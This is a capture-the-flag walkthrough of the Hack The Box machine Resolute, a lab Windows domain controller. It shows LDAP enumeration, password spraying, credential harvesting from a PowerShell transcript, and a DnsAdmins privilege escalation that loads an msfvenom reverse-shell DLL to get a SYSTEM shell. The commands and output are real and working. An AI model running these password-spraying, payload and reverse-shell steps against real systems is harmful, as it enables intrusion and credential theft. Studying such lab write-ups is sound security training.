HTB: Resolute – Walkthrough

by | 11. Mar 2024 | CTF, Hacking, Walkthrough

Box: Resolute

Platform: Hack The Box

OS: Windows

Platform Difficulty: Medium

User Difficulty: 4.6

My Difficulty Rating: User 3 / Root 5


Summary (Spoilers)

In the journey to conquer the Resolute box, we initially perform enumeration to discover open ports and services, leading us to explore LDAP with null credentials. This exploration yields a user credential for Marko Novak, which unfortunately doesn’t work directly but hints at a potential password pattern. By password spraying, we discover melanie‘s account is accessible with a default password, allowing us to log in and grab the user flag.

For privilege escalation, after several attempts, we uncover credentials for ryan in a PowerShell transcript. Leveraging ryan‘s membership in the DnsAdmins group, we execute a DNS service exploit to gain a reverse shell as nt authority\system, thus securing the root flag.


Enumeration

We start our exploration by scanning the target machine to identify open ports and services. This initial step is crucial for understanding the attack surface.

└─$ sudo nmap -Pn -p- 10.10.10.169
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 09:45 EDT
Nmap scan report for 10.10.10.169
Host is up (0.029s latency).
Not shown: 65511 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49678/tcp open  unknown
49679/tcp open  unknown
49684/tcp open  unknown
49708/tcp open  unknown
49986/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 26.39 seconds

Explanation: -Pn skips host discovery, treating the host as online, and -p- scans all 65535 ports.

Further detailed scanning of specific ports provides us with more insights into the services running on the machine.

└─$ sudo nmap -Pn -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -A 10.10.10.169
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-10 09:46 EDT
Nmap scan report for 10.10.10.169
Host is up (0.056s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-10 13:53:47Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTEx00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2024-03-10T06:54:00-07:00
| smb2-time: 
|   date: 2024-03-10T13:53:58
|_  start_date: 2024-03-10T13:44:49
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: 2h26m59s, deviation: 4h02m32s, median: 6m57s

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   64.33 ms 10.10.16.1
2   28.49 ms 10.10.10.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.01 seconds

Explanation: -Pn skips host discovery, -p specifies the ports to scan, and -A enables OS detection, version detection, script scanning, and traceroute.

Discovering domain names in the scan results, we add them to our /etc/hosts file to facilitate further exploration.

10.10.10.169    resolute.megabank.local megabank.local

Attempting LDAP enumeration with null credentials reveals valuable information.

└─$ ldapsearch -x -H ldap://10.10.10.169 -D '' -w '' -b "DC=megabank,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=megabank,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# megabank.local
dn: DC=megabank,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=megabank,DC=local
instanceType: 5
whenCreated: 20190925132822.0Z
whenChanged: 20240310134438.0Z
subRefs: DC=ForestDnsZones,DC=megabank,DC=local
<...SNIP...>

Explanation: -x uses simple authentication instead of SASL, -H specifies the LDAP URI, -D sets the bind DN (empty for anonymous bind), -w sets the password (empty for anonymous bind), and -b specifies the search base.

This allows us to retrieve all the domain information and then sift through it using grep. Passwords are sometimes located in the description field, making it particularly beneficial to target this field with grep. However, as a starting point, we can simply begin our search by looking for the term “Password”.

└─$ ldapsearch -x -H ldap://10.10.10.169 -D '' -w '' -b "DC=megabank,DC=local" | grep -i -A2 -B2 "Password"   

<...SNIP...>
cn: Marko Novak
sn: Novak
description: Account created. Password set to Welcome123!
givenName: Marko
distinguishedName: CN=Marko Novak,OU=Employees,OU=MegaBank Users,DC=megabank,D
<...SNIP...>

Explanation: Performs an anonymous LDAP search against the server at ldap://10.10.10.169, with no authentication (-D-w ”), starting from the base distinguished name “DC=megabank,DC=local”, then uses grep to case-insensitively filter results containing “Password”, displaying 2 lines of context before and after each match.

We find the credentials for the user Marko Novak, marko:Welcome123!.


Foothold/User

Despite finding Marko Novak‘s credentials, we’re unable to log in directly with them. This setback prompts us to consider password spraying as a strategy.

└─$ crackmapexec smb 10.10.10.169 -u 'marko' -p 'Welcome123!'                               
SMB         10.10.10.169    445    RESOLUTE         [*] Windows Server 2016 Standard 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB         10.10.10.169    445    RESOLUTE         [-] megabank.localmarko:Welcome123! STATUS_LOGON_FAILURE

Explanation: smb specifies the protocol, -u sets the username, and -p sets the password.

On the other hand, Welcome123! could be the standard password for new accounts. We prepare for password spraying by extracting usernames from an LDAP dump.

└─$ ldapsearch -x -H ldap://10.10.10.169 -D '' -w '' -b "DC=megabank,DC=local" > LDAP_dump.txt     
grep "userPrincipalName" LDAP_dump.txt | sed 's/userPrincipalName: //' | sed 's/@.*//' > usernames.txt

Explanation: Filters for lines containing “userPrincipalName” in the file LDAP_dump.txt, removes the prefix “userPrincipalName: ” and everything after the “@” symbol to isolate usernames, then saves the results to usernames.txt

Using crackmapexec, we identify melanie‘s account as still using the default password.

└─$ /usr/bin/crackmapexec smb 10.10.10.169 -u usernames.txt -p 'Welcome123!' --continue-on-success
                                                                                                                    
┌──(kali㉿kali)-[~/Downloads/resolute]
└─$ /usr/bin/crackmapexec winrm 10.10.10.169 -u usernames.txt -p 'Welcome123!'                    
SMB         10.10.10.169    5985   RESOLUTE         [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:megabank.local)
HTTP        10.10.10.169    5985   RESOLUTE         [*] http://10.10.10.169:5985/wsman
WINRM       10.10.10.169    5985   RESOLUTE         [-] megabank.localryan:Welcome123!
<...SNIP...>
WINRM       10.10.10.169    5985   RESOLUTE         [-] megabank.localclaude:Welcome123!
WINRM       10.10.10.169    5985   RESOLUTE         [+] megabank.localmelanie:Welcome123! (Pwn3d!)

Explanation: smb specifies the protocol, -u sets the username list file, -p sets the password, and --continue-on-success continues trying other users even after finding a match.

Logging in with Evil-WinRM as melanie grants us access to the user flag.

└─$ evil-winrm -i 10.10.10.169 -u melanie -p 'Welcome123!'

Evil-WinRM shell v3.5
   
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine 

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:UsersmelanieDocuments> dir ..Desktop


    Directory: C:UsersmelanieDesktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/10/2024   6:45 AM             34 user.txt


*Evil-WinRM* PS C:UsersmelanieDocuments> type ..Desktopuser.txt
703*****************************

Explanation: -i specifies the IP address of the target machine, -u sets the username, and -p sets the password.


Privilege Escalation

After numerous unsuccessful attempts to escalate privileges, we resorted to using ls -force to reveal all files in the C directory.

*Evil-WinRM* PS C:> ls -force


    Directory: C:


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d--hs-        3/10/2024  10:24 AM                $RECYCLE.BIN
d--hsl        9/25/2019  10:17 AM                Documents and Settings
d-----        9/25/2019   6:19 AM                PerfLogs
d-r---        9/25/2019  12:39 PM                Program Files
d-----       11/20/2016   6:36 PM                Program Files (x86)
d--h--        9/25/2019  10:48 AM                ProgramData
d--h--        12/3/2019   6:32 AM                PSTranscripts
d--hs-        9/25/2019  10:17 AM                Recovery
d--hs-        9/25/2019   6:25 AM                System Volume Information
d-r---        12/4/2019   2:46 AM                Users
d-----        12/4/2019   5:15 AM                Windows
-arhs-       11/20/2016   5:59 PM         389408 bootmgr
-a-hs-        7/16/2016   6:10 AM              1 BOOTNXT
-a-hs-        3/10/2024  10:36 AM      589332480 pagefile.sys

Explanation: When using ls without any parameters, Powershell will display the normal files and directories in the current path. However, when adding -force to the command, it reveals all items, including hidden or system files.

The PSTranscripts folder piqued our interest, and within it, we discovered a file. We proceeded to examine its contents.

*Evil-WinRM* PS C:PSTranscripts20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
**********************
Windows PowerShell transcript start
Start time: 20191203063201
Username: MEGABANKryan
<...SNIP...>
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \fs01backups ryan Serv3r4Admin4cc123!
<...SNIP...>

We find login credentials for the user ryan, ryan:Serv3r4Admin4cc123!, and we succeed logging in via WinRM as ryan.

└─$ evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:UsersryanDocuments> 

We discover that the user ryan is a member of the DnsAdmins group, which is a potential path to privilege escalation.

*Evil-WinRM* PS C:UsersryanDocuments> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ===============================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTINUsers                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTINPre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTINRemote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITYNETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITYAuthenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITYThis Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
MEGABANKContractors                       Group            S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANKDnsAdmins                         Alias            S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITYNTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory LabelMedium Mandatory Level     Label            S-1-16-8192

As recommended in the aforementioned blog post, we employ msfvenom to generate a DLL payload.

└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.7 LPORT=5555 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes

Explanation: -p specifies the payload type, LHOST sets the attacker’s IP address, LPORT sets the listener port on the attacker’s machine, -f dll outputs the payload in DLL format.

We start a SMB server on our attack machine to provide the shell payload.

└─$ sudo smbserver.py SHARE ./
[sudo] password for kali: 
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

We register the file on the victim machine.

*Evil-WinRM* PS C:UsersryanDocuments> dnscmd.exe resolute /config /serverlevelplugindll \10.10.16.7SHAREshell.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Explanation: This command configures the DNS server to use a custom DLL for additional functionality.

We initiate a Netcat listener on the attack box using the command nc -lnvp 5555. Following the stopping and restart of the DNS service, we successfully capture a reverse shell. Operating as authoritysystem, we effectively gained root access to the victim machine.

*Evil-WinRM* PS C:UsersryanDocuments> sc.exe stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530
*Evil-WinRM* PS C:UsersryanDocuments> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 3440
        FLAGS
└─$ nc -lnvp 5555    
listening on [any] 5555 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.169] 49812
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:Windowssystem32>whoami
whoami
nt authoritysystem

C:Windowssystem32>cd C:UsersAdministratorDesktop
cd C:UsersAdministratorDesktop

C:UsersAdministratorDesktop>type root.txt
type root.txt
383*****************************

Final Thoughts

Looking back, the challenge might appear quite straightforward. However, I faced significant difficulties in gaining access to the user ryan, even though the escalation process may seem simple once you’re aware of the correct command. Despite these challenges, I gained valuable insights from this box.


Featured Image: DALL-E 3